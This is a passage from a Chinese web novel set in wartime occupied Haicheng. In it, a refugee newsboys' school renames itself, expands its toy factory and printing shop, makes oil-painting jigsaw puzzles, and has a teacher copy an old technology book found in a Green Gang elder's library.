大鼻子的英国警长来转了两圈,让方校长请进去喝了杯咖啡,出来时挥舞着警棍,操起生硬的华文一顿大骂:“盖个鸡窝也要找阿sir,盖个猪圈也要找阿sir,阿sir的时间不是时间?谁要是以后没事找事,别怪我请他去巡捕房喝咖啡!” 围观人等顿时作鸟兽散。 自此之后,江浦学校挖坑也好,搬砖头也好,是再也没有了人敢过问。反正他们又没有真的盖起房子。 时间渐渐到了圣诞节,按照常规,租界所有的外国雇员都要放三天假,英国巡捕房也不例外。 放假的当天大清早,王家兄弟领着好几十个身强力壮的力夫推来数车泥瓦和钢筋,沿着废墟划了一个大圈子,之后在学生们提前挖好的几个“坑”边搭开架子,再从教室里扯出条电线,抹泥的抹泥,拌灰的拌灰,日夜开工,热火朝天地干了起来。 等到三天时间一过,英国巡捕们重新上班,学校的新围墙里,多了数间敞亮干净的青砖大瓦房。 地有了,房子也有了,方校长有关学校的心事去了一大半。 只剩下一个要命问题,在时局的催逼下,也必须要做出个决定了。 第53章 053 太阳 学校另外的那个问题, 从常先生遇刺开始,就现出了端倪。 不,这个问题不能完全归咎给这件事。 毕竟当时学校的老师, 除了春妮这个编外体育老师, 有一个算一个,或多或少都参与到了其中。 春妮如今驻扎在码头,因缘际会结识各方人物,耳目愈发灵便。 早在学校筹划盖房子前,她隐约听到过消息,倭国人对包括常先生在内的海城教育界人士异常恼火。只是吴江大学原本就是外国人办的学校,倭国人碍于常先生和吴江大学现在被英国人护得密不透风, 又处在国际舆论的风口浪尖,不好下手, 只好在其他方面使力。 张鹤年先生的遇刺是其一,张先生遇刺没有两天,他在华界开设的两处难民技术学校以窝藏抗倭分子的名义被迫关张。据说当时76号大张旗鼓地冲进学校,打杀学生和教职工, 抓走包括学校校长和老师在内的好几人回那魔窟,这几人至今还身陷其中, 不知生死。 同月,女子救亡组织的一名领导人在海城的一处夜校教书时遇刺身亡。 照此思路,随着倭国人对海城的掌控日深, 他们即使会容忍报童学校的存在,也不可能放任学校将其发展成为抗倭宣传阵地。 毕竟, 随着海城重开水运,租界方同时失去了租界以北苏河的控制权,还有, 以76号为中心的城西越界筑路地区也渐渐落入倭国人手中。 租界东南两方管辖权 落在奉倭国为主的维新政府手中,倭国人的合围之势即将形成,租界即将成为名符其实的孤岛。 倭国人步步紧逼,很难说为了安抚倭国人,这些西方人会妥协到什么地步。 这其中报童学校失去三名校董,背后没有其他靠山,是最可能最先被牺牲掉的地方。 既然早知倭国人迟早会将屠刀举到学校身上,他们不能坐以待毙。 为此,方校长丢下诸多事务,亲自去见过常先生和张先生两位校董,回来时宣布了一个消息。 江浦报童小学要改名了。 两位先生都说,校长和□□们对学校付出颇多,这所学校是所有老师们的结晶,将取名权让给了他们。再者,倭国人已经盯上他们,学校不仅不宜跟他们再扯上关系,更应该尽早去掉他们的烙印。 方校长跟老师们开会时,红着眼睛道:“两位先生不计名利,一心为学校,为学生,为我们这些教职工着想。我们如今迫于形势易名,但不能忘记先生对学校的贡献,和对我们的期许,大家明白吗?” 老师们站起来,齐声应是:“请校长,请先生们放心。” 春妮惊讶地发现,方校长这样说时,学校的几个旧人没有异议不说,就连新来的两位老师也神态肃穆,深以为然。 不管怎么说,经历了这些事,学校上下还能保持一心,这很难得。 春妮对接下来同学校,同这些人一起度过难关,有了更多的信心。 老师们表完态,接着是投票表决新校名。 方校长重点强调,新校名不能跟“报童”“难民”“救亡”等字眼扯上关系,最好类似“振兴”“振华”的字眼也要避免。 最后,经过集体表决,王老师建议的“江浦基础技能学校”这个平平无奇的名字获得了全票通过。 工部局更名手续办下来,正式更换新校名的那天,方校长没有通知大家。 在学校的所有老师不约而同聚集到了学校门口,大家仰起头,默默看着报童小学江浦校区从学校大门的牌匾上撤下,又默默注视着“江浦基础技能学校”这几个字锲入牌匾。 在铁锤单调的敲击声中,所有人什么话都没说,又仿佛什么话都说了。 学校的这次变化,不止带来的是名字的更改。 因为更名后的学校更侧重于职业技能培训类的学校,原本不再适合招收小学生,但春妮提了个建议,说可以灵活变动一下,将学校分为三个部分,一个初级班,一个中级班,一个高级班。 初级班只教授识字算数,招收的学生年龄不限,中级班在通过考核之后,加设绘图,美术等课程,高级班目前就只是教授木工手艺。 说穿了,目前学校所有的职业技能学习都是为了玩具厂设置的。 所有的学生既可以单独报一个班,也可以在初级中级和高级任意择选两到三个班同时报名,但报名中高级班的学生必须通过初级班考试。 这样变化的目的只有一个:在合规的范围内尽可能多地招收那些失学儿童。 这是学校创办的初衷,哪怕名字变了,这个初衷也绝不能改变。 学校初级班的学制仿照当今年代通行的小学学制,略作了改变,最高有四个学年。但考虑到学生的特殊性,一般在初级班学过两年,或者知识累积达到二年级的,年龄稍大的学生也可以报名中级班和高级班。 当然制度是制度,学校在草创阶段,只设立了框架,实际操作还需要更灵活的变化。 像是春妮,她现在带的木工班学徒们在学校学习了统共不到半年,只是他们年龄太大,需要迫切寻个工作立身。因此,只要是年龄合适,手略稳些,刨出的木头能看一些的学生,都被调去了高级班。 虽然情势变化不得不如此,方校长还是专门向这些学生们训了话,要求他们边学木工,边学认字,要是有一样不合格,毕业后不能进入玩具厂工作。 是的,学校已经通过了决定,学生们毕业后将会优先录取进入玩具厂。 得知这个消息,哪怕是初级班,像夏生那样大的小鬼头都开心得不得了——哪怕他们或许十年内都没法达到玩具厂的最低工作年龄。 只要读书就会有工作,而这里读书还免费!这个诱惑力太大了。 会议决定传出去之后,学校又迎来了一拨报名的热潮,哪怕学校派人在校门口一再重复说明,这个时候并不是他们招生的季节,他们短期内也没有招生计划,狂热的报名人群仍是源源不绝赶来。 因为报名的人太多,学校不得不又开了次会,出了次题,特招了一批要么有学习经验,要么有木工经验的大龄学生,还为他们特设了两个短期学习班,作为玩具厂的后备生力军补充。 在此期间,学校向工部局又申请了一块厂牌。 这次的厂牌是为学校的印刷室申请的。 依方校长的意思,学校只是偶尔接一些街坊邻居的散单印刷,赚的钱勉强可以覆盖几位老师和学生的工资,办厂牌的钱都不知道什么时候能赚回来,这块厂牌没必要办。 但常先生提醒他说,如今倭国人对舆论的管制越发厉害,稍微大些的报纸都被安插进了倭国人,或是倭国人走狗,连带的印刷厂受到清洗,关张了不少,他们必须也早作打算。 办厂牌不是小事。 方校长犹豫许久,终是舍不得学校的第一件校产,赶在年前将厂牌办了回来。 至此,学校名下正式有了两个产业,两个厂子一个学校帐目互相独立。其中的盈利,除去分给投资人的部分,留一半作为工厂的发展基金,另一半则分批拨入学校充为经费。 不得不说,方校长的念旧情有时也有好处。 十一月份春妮和夏风萍曾经在金小姐的酒席上做过一波宣传,一个多月过去,在两人以为自己拉下脸来干的好事只能为几名落魄舞女寻金主时,学校来了份大订单。 却是当时宴上一位舞女的金主辗转寻到他们,说是他家一有一号生意要关张,临行前准备清仓大甩卖,委托他们赶制一批传单出来。 因为这位老板只要求宣传单作工便宜,压价压到不可思议,没人肯做,最后单子落到了他们手上。 别人怕压价,学校不怕他压价啊! 毕竟学校目前唯一的诉求是,只要利润够付老师和学生的工钱就行。而且当时学校为了印教材,囤了一大堆便宜纸,后面油墨钱给不出来后,这批纸也囤在了这。这会儿什么都涨,包括纸价也涨,显得他们更加地物廉价美。 再者说,印刷厂最大的老板——学校都不求赚钱,价钱还降不下来才是有鬼了。 这单生意一做,那位老板大约是觉得压得有些不厚道,在朋友里为他们宣传一圈,又逢着年关,印刷厂总算打开了局面。 学校产业越来越多,方校长再托朋友寻来一个可靠的老帐房做工厂的帐,又点了性格沉稳细心的王老师兼任出纳,这一拨广纳贤才的行动算是暂时停顿下来。 学校盖房子招人,动作不断,玩具厂这段时间的变化则更大。 为了今天的事情,早在工厂拉到投资之前,学校的老师就筛选出了一批合适的学生,让他们将更多的时间放在春妮的木工课上。 到厂牌办下来后,学得最快的学生已经可以锯出漂亮齐整的木头块,将木刺打磨得光滑圆润。 但离春妮所设想的,做复杂的器械仍有段距离。 这时他们花重金请来的郑经理提出一条建议,既然玩具厂目前的员工还达不到做复杂部件的要求,工厂又不可能停下来等他们,可以先做回拼图。 这个年代的拼图基本是一张彩色印刷图案贴在一张木板上,将木板分为若干等份拆分组合。 这个建议很实际,做别的不会,锯木头块最简单,这总不能不会了吧?他们的这个水准,也只能做拼图。 可做什么拼图也有讲究。 市面上有的花花鸟鸟,虫虫草草,春妮都否决了。想做好厂子,就得出挑,不出挑的,做出来也不过是糊口饭吃。 折腾出这么大动静,最后只能 糊口饭吃,说出去她脸往哪搁?何况现在挣钱艰难,她能不能糊到这口饭吃,都未可知呢。 那会儿学校新房子还没盖起来,玩具厂的几位正式员工开会只能绕着操场转圈子。转到操场东边时,春妮望着林老师画布上那轮金灿灿的太阳,一锤定音:“做太阳拼图!” 把那轮金灿灿的太阳做在积木上! ………… 忙忙碌碌中,时间到了元旦,学校继中秋之后再一次放了全校师生三天大假。 这次放假,春妮想到吴江大学面临搬迁,说不定什么时候就会同常先生一家人分别,她原本打算去探访常先生,但方校长提出来,要求她在正旦当天带着礼物,跟他一起去拜访另一个人。 一个大人物。 第54章 054 人尽其才 海城是个洋派的城市, 元旦这样公历的大日子,不止是学校放了假,商行, 公司, 工厂…… 春妮站在人流如织的吴中路大街上,被穿过来走过去的人群挤得东倒西歪,若不是她眼疾手快,死死护住手上拎的东西,只怕这会儿连手包带子都给那些扒手摸走了。 她可是见识到了所谓国际大都市的另一番气象! 待到方校长和林老师排开人群,气喘吁吁寻到她时,不由焦急道:“这么些人, 待会儿还要去见卫先生,该走到什么时候?” 方校长同春妮说的这位卫先生, 便是他们一行人今天准备拜访的大人物。 这位老先生的名字,春妮早已如雷贯耳。 此人不是旁人,正是张鹤年先生的那位青帮闻人老丈人,也是他们学校地皮前主人的父亲卫胜临。 春妮敢说, 在海城混帮派,没听过卫胜临的人, 十个指头都数得出来。 此人曾考过前朝武举,据说早在老家那会儿,他就跟青帮中人摆香堂拜了把子。前朝覆灭后, 他投身革命,辗转到海城任武职, 是个典型的旧式军阀。 卫胜临与一般军阀不同的一点是,从他未曾踏入仕途开始,就跟帮派会社纠缠不浅。远在北方沦陷的好些年前, 他已经成为了青帮中首屈一指的前辈元老,连现在的青帮领头人看了他也要恭恭敬敬行礼,叫他一声“大爷爷”。 倭国人占领海城之后,他蛰居家门称病不出,手上事务早在战前也交割完毕,仍然是跺一跺脚,整个城都要抖三抖的人物。 论理,像卫胜临这样的人物,春妮几个除非重新投个好胎,否则这辈子跟他都搭不上边。 但这不是他们要做拼图吗? 春妮一拍脑袋,决定玩具厂的第一个作品是太阳拼图,下决心将林老师画的太阳复制到积木上后,立刻发现了难度——林老师的画是油画,这个年代的印刷技术无法一比一仿出油画的质感。 但好在林老师画的构图简单,他们克服了一点困难,虽说达不到一比一的仿真度,也有七八分的相像。关键是他们将印刷的彩色油墨做了些改良,令那轮纸上的太阳真有了点金灿灿的视效。 这件事令春妮生出了更大的野心:既然太阳可以复制出来,别的油画呢?如果他们可以将油画复制还原到积木上呢? 这个年代的好画都是私人收藏,寻常人难晤一面。在海城更难找。林老师是能画几笔,可他画的画用春妮的眼光看,就是会画罢了。别说名画,行家里手的边都没摸着。 她虽然不会画,到底收集过那么些美术书,眼光是在的。 她既决定拿油画做文章,肯定是想沾些名家名作的光,否则她拿什么当噱头? 林老师的《太阳》油画拼图跟莫奈的《睡莲》油画拼图,跟梵高的《向日葵》油画拼图,是一个名气,一个级别吗? 春妮看过一肚子世界名画图集,可惜一个都搬不出脑袋瓜。 西风东渐之后,油画在海城已经不是个新鲜名词。春妮请托林老师拿出他那天画的太阳,以此为底托做出第一件作品,再拿“油画”为噱头投放市场之后,果然大受欢迎。 郑经理反馈给春妮说,因为拼图一开始放在西式游乐园寄卖,能带孩子逛得起游乐园的,一般是略有资产,家风开化的殷实家庭,这些人也是油画拼图的主要销售对象。 油画门槛高,学习购买油画需要的开支更是不菲,一般家庭不可能负担得起,但不妨碍大伙叶公好龙。 相比较来说,春妮的“油画”拼图一套只要八毛八分钱,他们咬咬牙就能买下来,还能让孩子在玩乐中培养对美的鉴赏力,相当地划算。 春妮不得不佩服郑经理的忽悠能力,整套成本不到两分钱,加上人工费不超过两毛钱的几块烂木头,被他金口一出一包装,立马身价百倍。 看来专业的事还是得靠专业的人做。 不到一个月,再搭着年末圣诞节的西风,春妮他们的油画拼图就卖掉了一千多套。除去宣传招贴,画纸印刷,游乐园的寄卖费等各项成本,净利润足有三百多块! 依这样的势头,说不定不要一年,投资都能收回来。 可惜好景不长,市面上很快出现了仿品。仿制的人同样做的是油画拼图,也画的是太阳,但人家从购图到色彩应用,再到细节处理,比林老师至少高出一个大水准。价钱还比着他们的,降了六分钱,只卖八毛二分钱。 仿你还不说,还把你正品衬托得像是赝品,实打实踩着你上位!你说这气不气人? 要不是他们误打误撞调出金黄的油墨,这个他们实在仿不了,自家生意怕不是要早被人挤出十里八乡外了。 即使是这样,仍有很多人贪便宜,让他们的生意被对方分流。 郑经理跟春妮共用一间办公室,这黑胖子得知消息后,当时就气得关紧门窗,在办公室里跳脚大骂那家不讲行规,不是个东西。 连学校里还在跟林老师学画画的准木工们都看出了其中的差别,只是大家给林老师留着面子,没好说出来。 果然,这事出来后,林老师那张一向又白又俊的脸上,挂上了浓重的黑眼圈。 春妮生怕林老师被打击得就此封笔甩手,趁了对手的意,忙里抽闲,打着“联络同事感情”的名义,将林老师约到闸口路的一间咖啡馆里开解他。 照她的经验,心情不好,吃顿好的至少能回转三四分。 如今她也有了点实力开销咖啡店的点心,将菜单交给夏风萍,可着什么戚风蛋糕,芝士蛋糕,水果船之类的点了一桌子,请林老师不要客气。 林老师真没客气。 他抄起叉子,认准桌上最贵的草莓芝士蛋糕就是一大口,满足地眯起眼睛:“芝士有点厚了,过甜。”完了又是一勺粟子糕:“这个不错,粟子粉炒得香,小顾老师,夏老师,别看着我,都吃,吃啊。” 这是气得茶饭不思,睡不着觉的样式吗? 林老师瞅着这两人的神色,哈哈笑出声,故意问道:“两位老师,莫非不认识在下了?” 夏风萍跟他熟些,闻言嗔道:“我们还不是怕你受到打击,忙不迭来安慰你。你倒好,借机吃起了大户。” “多大点事啊,还受到打击,”林老师摇头笑道:“我自己画的什么水准,我还不知道?都怪小顾老师,那天非用重金诱我,我原本真不想献那个丑。” 林老师没受到影响,两个姑娘都放了心。 可他言语间透出的佛系,春妮不得不搜索枯肠,违心劝道:“我瞧您那金的白的,画的好看得很,是别人没眼光。再说咱们做积木的,又不是开画廊,没必要那样较劲,你说——” 话没说完,夏风萍在桌下踹了她一脚。 春妮忙不迭闭嘴。 林老师盯着她看了会儿 ,说道:“小顾老师,你可真不会劝人。要是我对艺术有点追求,今天非被你气得离席绝交不可。” 春妮脸有点红,怪她不会商业互吹喽? 好在林老师很快道:“还好我有自知之明,早已放弃了这条路。这两天,我总在想,要是能让我有机会一临世界名画,那肯定不一样。” 春妮不敢再随意说话,只见林老师一口一口慢慢啜饮完咖啡,从搁在旁边的画囊取出样东西递给她:“你看。” 春妮接过来扫了一眼,旁边的夏风萍不解道:“林老师,你把国文课本封皮带来干什么?” 见春妮不说话,细看一眼,才惊道:“林老师,这是你仿画方校长的?也太像了吧!” 学校的国文课本封面由方校长亲手设计,竖排“国文”两个颜体毛笔字下边,画的是一幅简笔山水画。因为学校印刷条件有限,还是他特意拿到外面的印社印刷的,竟被方老师一笔不差地仿画了出来。 要不是林老师用的是市面上普通白纸,跟原本的硬壳纸不同,他们还不一定一眼看得出来。 林老师这才搅一搅细细的咖啡勺,叹道:“我早说过,我不是画画的苗子,可我仿画,真的还可以。” 春妮:“……” 夏风萍:“……” 好马也要配好鞍,林老师再是临摹高手,没有相宜的好画对照下笔,也是宝珠蒙尘,无法人尽其才。 全校老师包括工厂的员工准员工们再度行动起来,各自发动自己的朋友圈,不放过一丝让林老师观摩名画的机会。这话传到张鹤年先生耳中,说是他老丈人卫胜临曾收过一份贺礼,是一本油画画册。 那本画册据说由数位当今世界著名的油画家临摹,收录有二十四幅西洋名画。 西洋名画画册在海城上流社会并不稀奇,稀奇的是,据传这本画册不是纯粹的印刷产物,而是一本彩绘本! 这个年代可没有那么高的彩印技术,多数彩印书采用套印技术,不可能印得出油画那种层次的视觉色彩。甚至原本春妮发愿要做的油画拼图,若非是林老师的原作从构图到色彩都很简单,未必印得出来。 卫家的这本油画彩绘本能传出名气,意味着它很有可能是画家的手绘原本! 春妮对这本画册的价值没什么兴趣,但只要林老师能将这本彩绘本西洋画册借来,并临摹下上面的每一幅画。他们的油画拼图即便一个月推出一次新品,至少一年内都不愁花样翻新。 这个时候的春妮,还不知道她夸下了怎样的海口。倒是郑经理听见她近乎外行的发言,有心提醒两句,但想到她连油印太阳都真的钻研出来,就不好再开口了。 说不定她能做成呢?要是做不成,那批木匠也磨了出来,到时候还可以再做些别的……郑经理脑筋一向转得快。 张先生深知这本画册对玩具厂的重要性,不顾病体,亲自去见了一回卫胜临,为玩具厂争取到了这次机会。 大家都知道这次拜访卫家的重要性,而春妮原本订下的行程被方校长叫停,除了陪林老师借画册之外,还托付给了她一件更重要的任务。 第55章 055 千算万算 尽管来时出了点岔子, 被汹涌的人群阻拦在了吴中路,好在到达卫氏家宅时,离约定好的时间还有十五分钟。 卫家住在英租界的克拉亚路, 跟爱沙路一样, 也隔吴中路不到两条街,只是跟爱沙路在完全相反的方向上。 克拉亚路道旁遍植梧桐树,是个闹中取静的好地方。卫胜临的宅子就在克拉亚路三号,是所带花园草坪的三层白色洋楼,传闻这栋楼以前是租界某位当权者的产业。 从方校长一行三人按响门铃,在名叫纳尔逊的管家带领下进入卫宅开始,直至三人从主宅的侧门进入, 抵达位于二楼的书房为止,三个人除了这座洋楼的下人, 就没有见到过这栋房子的任何一位主人。 到达书房之后,管家戴上真丝手套,从檀木盒中取出册子,领他们去了旁边的静室。告诉三个人, 这本册子不能带走,只给他们半个月时间临摹。卫老爷子不喜欢生人在家里乱走, 让他们最好待在这里,哪也不要去。 言毕,留下两个伺候茶水的丫头, 告辞离去。 目送管家关上静室的门,春妮忍不住向方校长挑了挑眉毛。 方校长摇头失笑, 一看就知道这小丫头的潜台词肯定是:没见到人,失望了吧? 他低声同春妮道:“你别做怪相。我在这坐一会儿就走,你陪着林老师画画, 别乱跑乱看。” 春妮又一挑眉:我不乱跑乱看,怎么去“偶遇”卫老爷子? 方校长一定要求春妮到卫家拜访,为的就是“偶遇”卫老爷子。 前头说过,学校的三个靠山都即将撤出海城,学校又扎了倭国人的眼,如今挂靠在没权没名还没势的方校长名下,实在不安稳。方校长有心再找个靠山,奈何有能耐的看不上他们这个穷学校,没能耐的,方校长又看不上他们。正巧张鹤年先生送来了进卫宅的机会,方校长很想来碰碰运气。 卫老爷子是惹得倭国人不喜,但他跟张常两位先生情况不同。青帮势力本身盘根错节,在政商各界,包括伪政府,甚至是倭国人那都有经营,比起两位纯文人,卫老爷子的筹码多很多。至少,在这段时间内护住学校应当不成问题。 他倒没发梦,指望来一次就让卫老爷子看在眼里,肯出手庇佑他们。他打的主意是,卫家来往的都是大人物,万一有哪个来卫宅,跟两个老师随便哪一个看对了路子,说不定肯搭把手,或是多一层缘法呢? 哪怕跟卫老爷子的朋友徒弟没缘份,搭上他家的管家也不错啊!宰相门前七品官呢。 方校长千算万算,就是没算到,做风老派的卫老爷子竟然请了个华洋混血的假洋鬼子管家,害他昨晚背了一晚上的花巧话,愣是一个字没说出来。 他是校长,不能天天陪在林老师身边进出人家私宅,只能指望林老师和小顾老师了。 至于为什么他非要让春妮来,道理很简单。春妮是个小孩子,小孩子总不那么容易让人有戒心。何况这个小孩办事一直靠谱,不带她带谁? 而且春妮这个小孩长得有点弱相,腊黄腊黄的巴掌小脸上,忽闪着一对大眼睛。若是不说话,扮相很有些可怜。 尽管春妮觉得方校长在痴人说梦,但她理解方校长的不安。在暂时没有别的办法情况下,这法子未尝不可一试。 方校长在书画室又坐了盏茶功夫,见春妮凑到林老师面前,两人小声商量先临摹哪一幅,怎么临摹,讨论得有模有样,自己再无别话嘱托。他托辞有事,很快告辞出了卫公馆。 方校长对春妮的安排并没有打乱两人的步调。 原本林老师到卫家临画,便是校长不提,有机会的话,她也要想办法来看一看。 卫胜临家不是后世免费的图书馆,办张卡可以随进随出。半个月的时间,好几十幅画,不知道林老师能临摹到什么程度,自然要好好筹划,争取达到利益最大化。 留下来的两人中,林老师负责画画,春妮则从色彩方面判断,什么画最好印刷,什么画改一改也可以印刷,方便筛选出个顺序供林老师选择。 春妮上回亲自印过一回林老师的太阳之后,才知道为什么这个年代的宣传招贴画都是大坨色块堆叠,颜色看上去单调且生硬。 原来现在的彩色印刷技术仍停留在套色印刷上,套色印刷需要将多幅版刻套在同一张书页的不同地方,达到印制不同色彩的需求,每幅版刻只能有一种颜色。现在的技术,最多只能同时支持七套彩版。 如此一来,他们选择的画色彩不能过于丰富,否则彩印可能无法尽可能多地还原色彩。还有一些颜色的油墨不容易调制固色,也需要避免。 这不是最麻烦的,最麻烦在于许多油画的边界性不强。油画,尤其是 古典油画利用光线转换,表现出其特有的明暗虚实感,是界限清晰,线条死板的套版无法解决的。 上回印林老师的《太阳》时,春妮就曾遇到过这种不规则边界怎么印刷所带来的困难。 学校的印刷工杨大强在刻版的蜡纸边缘线位置刮蹭出深浅不一的痕迹,利用自己对油墨特性的熟悉解决了这个问题。 那时候学校收他,不过是看在他爷爷刚刚被倭国人打死,不忍他变成孤儿流落街头,没想到东边不亮西边亮,这孩子读书不行,但他非常肯钻研。 在印刷室工作没多久,就熟练掌握了印刷方法。经他手印出来的印刷品,印得又轻又快不说,一张蜡纸至少可印六七百套,连最先领他进门的老师都做不到。不止没有成为印刷室的负担,反而渐渐有超越老师,成为技术能人的势态。 但杨大强的这种办法很容易损失蜡纸,一个操作不当,就要重新刻制印刷,费时又费力。重新刻制后的每个版刻必然无法完全一样,也影响品牌拼图色调色彩的统一性。 海城印刷高手很多,想在这一行做出新意,必须有扎实的本领,独门的绝活,否则还会出现别人跟着他们屁股后头仿制的事。 这一点,学校的老师们都是门外汉。 正好倭国人在华界大肆查封印社,很多同行失去了生计,方校长听说后,张罗着去哪寻一个此中高手来。 对此,春妮不太看好。 一来,真正的高手不愁饭吃,学校目前提供的待遇不高,吸引不了高手。再者,印刷技术最好的地方一直是租界几个大印刷公司。那边普遍采用铅印技术,跟他们的手工油印天差地别。方校长即便请来了真佛,也不一定能在这一亩三分地念通经。 招人是要招人的。 厂里早有过共识,韩厂长放假也没歇着,打算趁假期回他老家一趟,先招个雕刻师父。韩厂长的老家陆安省铜阳是江南有名的木刻之乡,坐火车回去,最多两天可以打个来回。 他们打算将彩画用雕版的形式制成木制版画,需要用时蜡汁浇入版画缝隙中,再拿调制好的油墨套印,反复上几遍色,就是一道彩色招贴画。这样,损坏后就不需要每次在蜡纸上重新刻印,还要担心色调和制版的统一问题。 现在他们的印刷业务打开了局面,业务范围越来越广,学校之前囤的便宜纸也不能用一辈子。不与时俱进,搞点新东西出来,很容易被淘汰。唔,最要紧的,是说服校长更换一台手摇式油印机,他们现在的油印机油印速度太慢了。还有打字机最好也添置一台,光靠老师反复用蜡纸刻印,一天天的要累死人。 再有了打字机,学校的技能学习班也可以多开一种。 油画拼图一时半会儿取得不了进展,请到雕刻师父后,可以试试开发其他的项目,比如木刻人物拼图,木刻年画拼图什么的。就是这会儿没办法机械化,所有的木刻都需要人工刻制。效率提不上去,必然影响价格。不过不要紧,海城从来不缺富人,重新制定售卖方案的事。 有着后世的眼光,春妮根本不知道她脑袋里转动的有多少人间宝藏。 “小顾老师,你觉得这幅怎样?” “哪幅?”春妮放下满脑袋的事,凑过去跟林老师认真讨论起来。 他们讨论的是这些图册中,哪些油画可以尽量还原地刻印。最先排除写实派,看上去最好上手的是大块色彩应用的印象主义。 春妮观察了一会儿,发现林老师没忙着马上落笔,而是用铅笔在画布上打了很多细小的格子用来确定笔触落点。看来,光是打格子,至少需要小半天。 半个月的时间,绝对不够画完这一本画册。 既然如此,春妮站起来,同伺候的丫头道:“姐姐,我想去书房找两本书看。” 刚刚她打眼一瞧,那书房里七八个书架都塞满了书,少说有数千百书籍。 正好她印刷遇到不少问题,万一卫家的藏书中有书里提到过印刷制版方面的问题,或是可以给她启发呢?便是他们没有相关专业书籍,还有其他书呢?错过这一次,这辈子说不定不会再有进卫家书房的机会。 她给两个丫头一人塞了块大洋,再次打开了卫家书房的门。 两个丫头分出一个跟着她亦步亦趋:“顾小姐还请快些,我们小少爷不喜欢家里来外人,让他看见就不好了。”生怕她有什么不可告人的心思。 来之前春妮已经知道,卫家除了卫老爷子,还有一个十来岁的小少爷和卫老爷子没成婚的小儿子留在海城为他跑腿。 春妮嘴上唯唯答应,心中不以为然:他们到这来的目的固然不纯,但无论什么时候,依靠外人都只能有一时风光。若他们有运道,能寻到庇佑的人便罢,若是没有,做好自己的专业,在世道越来越乱之前,为学校,为学生赚取更多筹码活下去才是正道。 第56章 056 第一生产动力 卫家书房里最多是些小说, 画本,杂志,报章之类的闲书, 其次国学古籍占了一部分, 再次是各种文字的外文书。春妮倒是找到几本外头绘着三维立体图的外文书,可惜翻开一看便成了睁眼瞎子,又不能当着人面把书藏进空间里(她也不屑这么做),只能就此作罢。 最后,她捧着一套《天工开物》,问丫头借来纸笔回了静室。 这本书以前她空间里收藏的有,但没认真翻阅过。这回粗粗看过一遍, 顿时如获至宝。这本书籍里提到的造纸术和制糖术,到现在都可以还原技术, 应用到现实生活中去。以及冶炼篇中的失蜡法,不就是她琢磨的木版画刻印吗? 她以前生活的小村子种过好几十亩甘蔗,但没有一个人知道,甘蔗榨汁, 只需用黄泥饼压制过滤,可以制出白得像霜雪一般的糖。 在沙北省, 一斤白糖可以买几十斤甘蔗,而七八斤甘蔗,只制得出一斤白糖。 还有造纸术, 虽说这上面记载的技能春妮目前没有场地,没有条件用得上, 但谁知道什么时候就有用了呢? 春妮深为遗憾这时候复印机没有发明出来,她坐在静室里黑白不知地抄了一整天,也才抄下二十多页, 绘制了四张图纸。 直到被两名丫头轻声提醒,两位沉浸于书画的人醒悟过来,才发现不知什么时候,天快黑了。 告辞出卫家之前,春妮请两名丫鬟问过管家,将《天工开物》借出了卫公馆。 她兴冲冲地直奔学校,将书放到方校长面前,对方还搞不清状况:“小顾老师,你今天没干别的事,就抄了一天书?” 春妮翻到《杀青》篇让他看:“看,造纸的方法!有了这个,咱们可以试着自己造纸了!”又往前翻回《精粹》:“这上面的水碓,可以用木头制出后,利用水流的力量来舂米,我们村都不知道可以利用水流舂米!” 还有牛转绳轮汲卤,以前听都没听说过。 春妮凭她在村里住过十二年,下过田下过地的经验判断,这绝对是一本宝藏书! 方校长戴上眼镜,念出封面上的字:“《天工开物》,这是什么书?” 春妮差点以为自己听错,在前一世,基地为防他们出去搜集物资不认识好东西,曾特意提过《天工开物》这本书。 能让基地特意提起的古籍,至少在华国历史上占据过极其重要的地位,方校长他居然没听说过?! 此时师生两个都不知道,《天工开物》这本书成书于明代末年,因书中有“东夷”“狄”等字样,涉嫌辱及前朝宗室,被前朝禁毁过。直到前朝覆灭,民国初年有学者从倭国寻回倭语译本,将之再度 译回华文,方令失传三百多年的世界第一本百科全书专著重新回到祖国百姓的视线。 真正的原版《天工开物》直到新华国成立,才由民间藏书家献出来重新刊印。 春妮他们手上拿的,就是前几年在海城商务印书馆才发行的的再译本,而商务 印书馆的制版也在一年多前毁于战火。 但因为这是一套古代科技书,且文人圈子和普通人并不相通。战乱和军阀割据又近一步限制了书籍的流通,目前这本书知道的人相当少,更不用说广为传播,实际应用更不必提。 也不知道它是怎么混进的卫家书房。 华国古代特有的农村封闭环境,乃至于很多农村还在使用一千多年前的农具。数年前双城政府曾经推广过农具改良,但限于资金不足,政府影响力等问题,这项政策更多只停留在纸面上。 “你等等,我去打个电话。”方校长捧着书匆匆离去。 一个小时后,学校外边响起汽车轰鸣声。 常文远走进学校:“书在哪?我看看。” 他接过书翻了翻,同春妮道:“借我两天,拿回去找人抄录之后马上还你。” 春妮奇道:“你们大学也没有《天工开物》?” 常文远道:“我来之前问过。先前馆藏的有几本,但倭国人以图书馆有些房间现在是倭军的文件处为由,拒绝让我们进入。这套《天工开物》先前存放在古籍室,分属古籍再刊类,没能带出来。” “他们绝对是故意的。”方校长怒道。 春妮很大方地让常文远拿走:“纳尔逊管家给了我十天时间看书,你还回来前,别忘了给我们抄一套。”又翻到《机械》那一页,道:“我听常先生说过,那些迁到西南去的教授们如今住在乡间,需要自己种地。这上面的农业机械,说不定你们也用得上。还有不少技术,我们内陆的农村到现在都没有,有机会别忘了造福乡亲们。” 常文远仔细过了两眼,扬起眉毛:“还真是。行,我会跟伯父提提,请他重视起来的。” 说完正事,他想起来问:“这本书你们从哪得到的?” 方校长将玩具厂最近的项目说了一些,不等说起跟卫家的渊源,常文远一针见血:“我们国家目前没有油画印刷的技术吧?你们要自行研究?”别说华国,就是全世界,也没听说谁成功印刷出了油画。指望学校这个草台班子,这怎么可能? 春妮承认:“我们是有这个打算,但知道这不是个短时间做到的事,所以准备先从简单的入手。”她顺手从抽届里取出一套《太阳》积木:“看,这是我们的第一代产品。” 常文远摩挲了一下拼图上的太阳:“有点那个意思。你们的油墨色彩是怎么做到这么鲜艳的?据我所知,市面上这么浓郁的金色需要加金粉吧。” 春妮正要解答,忽而觉出了不对:“你怎么对这些这么了解?” 常文远微微一笑:“你忘了我是学什么的?我们学建筑的也要对漆料有所了解。” 话虽如此,但彩色油墨跟漆料是两回事吧? 不过,春妮又想起他送夏生的那个飞机模型,可能对方做飞机模型涂装跟彩色油墨有相通之处? 常文远又说:“我们学校以前也有印刷室和合作的印刷厂,要不要我帮你们介绍几个制版行家来教教你们?” “当然好了!”方校长大喜过望:“他们什么时候能来?” 常文远抬腕看表:“我尽快安排。”他迟疑了一下,“你们学校还招不招老师?” 